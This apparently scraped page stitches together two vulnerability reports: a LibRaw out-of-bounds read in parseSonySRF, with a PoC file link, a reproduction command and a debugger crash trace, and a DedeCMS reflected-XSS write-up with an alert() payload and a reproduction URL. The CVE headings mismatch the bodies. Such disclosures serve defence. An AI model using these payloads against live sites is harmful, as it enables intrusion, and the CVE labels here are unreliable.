    Distributor ID: Microsoft Windows  
    Description: Windows 10

CVE-2020-35534: Libraw "crxFreeSubbandData()" Memory Corruption Vulnerability · Issue #279 · LibRaw/LibRaw

In LibRaw, there is an out-of-bounds read vulnerability within the "LibRaw::parseSonySRF()" function (libraw\src\metadata\sony.cpp) when processing srf files.

**Description:**

There is an out-of-bounds read vulnerability within the "LibRaw::parseSonySRF()" function (libraw\\src\\metadata\\sony.cpp) when processing srf files.

**Steps to Reproduce:**

poc (password: 0xfoxone):  
https://drive.google.com/open?id=1r0wig5pSGUFhP3mDycIUcKMvnHamYaGJ

cmd:  
magick.exe convert poc.srf new.bmp

Upon running this, following crash happens (Note: I enabled page heap on magick.exe):

Microsoft (R) Windows Debugger Version 10.0.18362.1 AMD64  
Copyright (c) Microsoft Corporation. All rights reserved.

CommandLine: C:\\ImageMagick-7.0.10-7\\VisualMagick\\bin\\magick.exe convert c:\\poc.srf c:\\new.bmp  
Symbol search path is: srv\*  
Executable search path is:  
ModLoad: 00007ff779300000 00007ff779312000 magick.exe  
ModLoad: 00007ffdb0d20000 00007ffdb0f10000 ntdll.dll  
ModLoad: 00007ffd99d60000 00007ffd99dd1000 C:\\WINDOWS\\System32\\verifier.dll  
Page heap: pid 0x1ED0: page heap enabled with flags 0x3.  
ModLoad: 00007ffdaf870000 00007ffdaf922000 C:\\WINDOWS\\System32\\KERNEL32.DLL  
ModLoad: 00007ffdadd60000 00007ffdae004000 C:\\WINDOWS\\System32\\KERNELBASE.dll  
ModLoad: 00007ffd87cf0000 00007ffd87fe1000 C:\\ImageMagick-7.0.10-7\\VisualMagick\\bin\\CORE\_DB\_MagickCore\_.dll  
ModLoad: 00007ffd886a0000 00007ffd8886b000 C:\\ImageMagick-7.0.10-7\\VisualMagick\\bin\\CORE\_DB\_MagickWand\_.dll  
ModLoad: 00007ffdb01a0000 00007ffdb0334000 C:\\WINDOWS\\System32\\USER32.dll  
ModLoad: 00007ffdaea40000 00007ffdaea61000 C:\\WINDOWS\\System32\\win32u.dll  
ModLoad: 00007ffdaf270000 00007ffdaf296000 C:\\WINDOWS\\System32\\GDI32.dll  
ModLoad: 00007ffdae010000 00007ffdae1a4000 C:\\WINDOWS\\System32\\gdi32full.dll  
ModLoad: 00007ffdaea70000 00007ffdaeb0e000 C:\\WINDOWS\\System32\\msvcp\_win.dll  
ModLoad: 00007ffdaeb30000 00007ffdaec2a000 C:\\WINDOWS\\System32\\ucrtbase.dll  
ModLoad: 00007ffdb04c0000 00007ffdb0563000 C:\\WINDOWS\\System32\\ADVAPI32.dll  
ModLoad: 00007ffdafdf0000 00007ffdafe8e000 C:\\WINDOWS\\System32\\msvcrt.dll  
ModLoad: 00007ffdb0420000 00007ffdb04b7000 C:\\WINDOWS\\System32\\sechost.dll  
ModLoad: 00007ffdaf5b0000 00007ffdaf6d0000 C:\\WINDOWS\\System32\\RPCRT4.dll  
ModLoad: 00007ffdafd80000 00007ffdafdef000 C:\\WINDOWS\\System32\\WS2\_32.dll  
ModLoad: 00007ffda1d20000 00007ffda1d42000 C:\\WINDOWS\\SYSTEM32\\VCRUNTIME140D.dll  
ModLoad: 00007ffd86800000 00007ffd869bb000 C:\\WINDOWS\\SYSTEM32\\ucrtbased.dll  
ModLoad: 00007ffd8d900000 00007ffd8da1f000 C:\\ImageMagick-7.0.10-7\\VisualMagick\\bin\\CORE\_DB\_freetype\_.dll  
ModLoad: 00007ffd8e600000 00007ffd8e686000 C:\\ImageMagick-7.0.10-7\\VisualMagick\\bin\\CORE\_DB\_lcms\_.dll  
ModLoad: 00007ffda1b50000 00007ffda1b77000 C:\\ImageMagick-7.0.10-7\\VisualMagick\\bin\\CORE\_DB\_bzlib\_.dll  
ModLoad: 00007ffd8e1c0000 00007ffd8e260000 C:\\ImageMagick-7.0.10-7\\VisualMagick\\bin\\CORE\_DB\_libxml\_.dll  
ModLoad: 00007ffd9dbe0000 00007ffd9dc03000 C:\\ImageMagick-7.0.10-7\\VisualMagick\\bin\\CORE\_DB\_lqr\_.dll  
ModLoad: 00007ffd9d610000 00007ffd9d63a000 C:\\ImageMagick-7.0.10-7\\VisualMagick\\bin\\CORE\_DB\_zlib\_.dll  
ModLoad: 00007ffd9a400000 00007ffd9a435000 C:\\WINDOWS\\SYSTEM32\\VCOMP140D.DLL  
ModLoad: 00007ffd85150000 00007ffd8548b000 C:\\ImageMagick-7.0.10-7\\VisualMagick\\bin\\CORE\_DB\_glib\_.dll  
ModLoad: 00007ffdb05f0000 00007ffdb0cd4000 C:\\WINDOWS\\System32\\SHELL32.dll  
ModLoad: 00007ffdaed80000 00007ffdaedca000 C:\\WINDOWS\\System32\\cfgmgr32.dll  
ModLoad: 00007ffdafc70000 00007ffdafd19000 C:\\WINDOWS\\System32\\shcore.dll  
ModLoad: 00007ffdaf930000 00007ffdafc66000 C:\\WINDOWS\\System32\\combase.dll  
ModLoad: 00007ffdae1b0000 00007ffdae230000 C:\\WINDOWS\\System32\\bcryptPrimitives.dll  
ModLoad: 00007ffdae260000 00007ffdae9dd000 C:\\WINDOWS\\System32\\windows.storage.dll  
ModLoad: 00007ffdadc80000 00007ffdadca3000 C:\\WINDOWS\\System32\\profapi.dll  
ModLoad: 00007ffdadbf0000 00007ffdadc3a000 C:\\WINDOWS\\System32\\powrprof.dll  
ModLoad: 00007ffdadbe0000 00007ffdadbf0000 C:\\WINDOWS\\System32\\UMPDC.dll  
ModLoad: 00007ffdb03c0000 00007ffdb0412000 C:\\WINDOWS\\System32\\shlwapi.dll  
ModLoad: 00007ffdadc40000 00007ffdadc51000 C:\\WINDOWS\\System32\\kernel.appcore.dll  
ModLoad: 00007ffdaeb10000 00007ffdaeb27000 C:\\WINDOWS\\System32\\cryptsp.dll  
ModLoad: 00007ffdb0040000 00007ffdb0197000 C:\\WINDOWS\\System32\\ole32.dll  
ModLoad: 00007ffdad1b0000 00007ffdad27b000 C:\\WINDOWS\\SYSTEM32\\DNSAPI.dll  
ModLoad: 00007ffdaf370000 00007ffdaf378000 C:\\WINDOWS\\System32\\NSI.dll  
ModLoad: 00007ffdad160000 00007ffdad19a000 C:\\WINDOWS\\SYSTEM32\\IPHLPAPI.DLL  
(1ed0.1214): Break instruction exception - code 80000003 (first chance)  
ntdll!LdrpDoDebuggerBreak+0x30:  
00007ffdb0df119c cc              int     3 0:000> g ModLoad: 00007ffdaf4b0000 00007ffdaf4de000   C:\WINDOWS\System32\IMM32.DLL ModLoad: 00007ffda93a0000 00007ffda93af000   C:\ImageMagick-7.0.10-7\VisualMagick\bin\IM_MOD_DB_DNG_.dll ModLoad: 00007ffd86310000 00007ffd864bc000   C:\ImageMagick-7.0.10-7\VisualMagick\bin\CORE_DB_libraw_.dll ModLoad: 00007ffd88e10000 00007ffd88f06000   C:\WINDOWS\SYSTEM32\MSVCP140D.dll (1ed0.1214): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** WARNING: Unable to verify checksum for C:\ImageMagick-7.0.10-7\VisualMagick\bin\CORE_DB_libraw_.dll CORE_DB_libraw_!LibRaw::sget2+0x2c: 00007ffd86396d9c 0fb60401 movzx eax,byte ptr \[rcx+rax\] ds:0000019e5bb50000=?? 0:000> k Child-SP          RetAddr           Call Site 00 000000939ecee890 00007ffd8636bf5d CORE_DB_libraw_!LibRaw::sget2+0x2c [c:\imagemagick-7.0.10-7\libraw\src\utils\utils_dcraw.cpp @ 84]  01 000000939ecee8a0 00007ffd8636fe7a CORE_DB_libraw_!LibRaw::parseSonySRF+0x42d [c:\imagemagick-7.0.10-7\libraw\src\metadata\sony.cpp @ 1952]  02 000000939ecee950 00007ffd8638071a CORE_DB_libraw_!LibRaw::parse_exif+0x155a [c:\imagemagick-7.0.10-7\libraw\src\metadata\exif_gps.cpp @ 229]  03 000000939eceef50 00007ffd8637bebb CORE_DB_libraw_!LibRaw::parse_tiff_ifd+0x484a [c:\imagemagick-7.0.10-7\libraw\src\metadata\tiff.cpp @ 717]  04 000000939ecefdd0 00007ffd8632f89f CORE_DB_libraw_!LibRaw::parse_tiff+0x11b [c:\imagemagick-7.0.10-7\libraw\src\metadata\tiff.cpp @ 1468]  05 000000939ecefe30 00007ffd864079de CORE_DB_libraw_!LibRaw::identify+0xd2f [c:\imagemagick-7.0.10-7\libraw\src\metadata\identify.cpp @ 537]  06 000000939ecf3350 00007ffd8640b149 CORE_DB_libraw_!LibRaw::open_datastream+0x10e [c:\imagemagick-7.0.10-7\libraw\src\utils\open.cpp @ 377]  07 000000939ecf35f0 00007ffd8641dfc8 CORE_DB_libraw_!LibRaw::open_file+0x269 [c:\imagemagick-7.0.10-7\libraw\src\utils\open.cpp @ 99]  *** WARNING: Unable to verify checksum for C:\ImageMagick-7.0.10-7\VisualMagick\bin\IM_MOD_DB_DNG_.dll 08 000000939ecf3720 00007ffda93a191c CORE_DB_libraw_!libraw_open_wfile+0x58 [c:\imagemagick-7.0.10-7\libraw\src\libraw_c_api.cpp @ 113]  *** WARNING: Unable to verify checksum for C:\ImageMagick-7.0.10-7\VisualMagick\bin\CORE_DB_MagickCore_.dll 09 000000939ecf3760 00007ffd87d671e7 IM_MOD_DB_DNG_!ReadDNGImage+0x2fc [c:\imagemagick-7.0.10-7\imagemagick\coders\dng.c @ 379]  0a 000000939ecf5870 00007ffd87d68963 CORE_DB_MagickCore_!ReadImage+0x5e7 [c:\imagemagick-7.0.10-7\imagemagick\magickcore\constitute.c @ 553]  *** WARNING: Unable to verify checksum for C:\ImageMagick-7.0.10-7\VisualMagick\bin\CORE_DB_MagickWand_.dll 0b 000000939ecfaa90 00007ffd886daac3 CORE_DB_MagickCore_!ReadImages+0x393 [c:\imagemagick-7.0.10-7\imagemagick\magickcore\constitute.c @ 941]  0c 000000939ecfbb40 00007ffd887744ae CORE_DB_MagickWand_!ConvertImageCommand+0x1523 [c:\imagemagick-7.0.10-7\imagemagick\magickwand\convert.c @ 606]  *** WARNING: Unable to verify checksum for magick.exe 0d 000000939ecfd690 00007ff7793014ea CORE_DB_MagickWand_!MagickCommandGenesis+0x33e [c:\imagemagick-7.0.10-7\imagemagick\magickwand\mogrify.c @ 186]  0e 000000939ecfe800 00007ff779301693 magick!MagickMain+0x4ea [c:\imagemagick-7.0.10-7\imagemagick\utilities\magick.c @ 149]  0f 000000939ecffa70 00007ff779301f24 magick!wmain+0x43 [c:\imagemagick-7.0.10-7\imagemagick\utilities\magick.c @ 195]  10 000000939ecffab0 00007ff779301e37 magick!invoke_main+0x34 [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 80]  11 000000939ecffaf0 00007ff779301cfe magick!__scrt_common_main_seh+0x127 [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 253]  12 000000939ecffb50 00007ff779301f39 magick!__scrt_common_main+0xe [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 296]  13 000000939ecffb80 00007ffdaf887bd4 magick!wmainCRTStartup+0x9 [f:\dd\vctools\crt\vcstartup\src\startup\exe_wmain.cpp @ 17]  14 000000939ecffbb0 00007ffdb0d8ce51 KERNEL32!BaseThreadInitThunk+0x14 15 000000939ecffbe0 00000000\`00000000 ntdll!RtlUserThreadStart+0x21

**System Configuration:**

*   ImageMagick:  
    Version: ImageMagick-7.0.10-Q16 https://imagemagick.org  
    License: https://imagemagick.org/script/license.php
*   Environment (Operating system, version and so on):  
    Distributor ID: Microsoft Windows  
    Description: Windows 10

CVE-2020-35535: Libraw "LibRaw::parseSonySRF()" Out-of-bounds Read Vulnerability · Issue #283 · LibRaw/LibRaw

DedeCMS V5.7.97 was discovered to contain multiple cross-site scripting (XSS) vulnerabilities at /dede/co_do.php via the dopost, rpok, and aid parameters.

**Dedecms V5.7.97 contain an XSS vulnerability**

1erkeU  于 2022-07-19 22:44:33 发布  551  收藏

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

**DedeCMS V5.7.97 was discovered to contain multiple cross-site scripting (XSS) vulnerabilities in the component /dede/co\_do.php via the dopost, rpok, aidparameters.****Abstract**

*   Affected product: DedeCMS V5.7.97
*   Attack type: Remote
*   Affected component: /dede/co\_do.php
*   payload: dopost=replace&rpok=1&aid='><scrIpt>alert(1)</script>\\

**Detail**

/dede/co_ do.php line 156, the $aid variable in the ShowMsg() function is controllable. The $aid variable is obtained from $_GET['aid'].

/include/common.func.php line 280, the $aid variable is a $gourl variable in the ShowMsg() function.

/include/common.func.php line 326 and line 321, $gourl variables are spliced into $msg variables and output without filtering.

**Recurrence**

    http://127.0.0.1/dede/co_do.php?dopost=replace&rpok=1&aid=%27%3E%3CscrIpt%3Ealert(666)%3C/script%3E

Tag

#php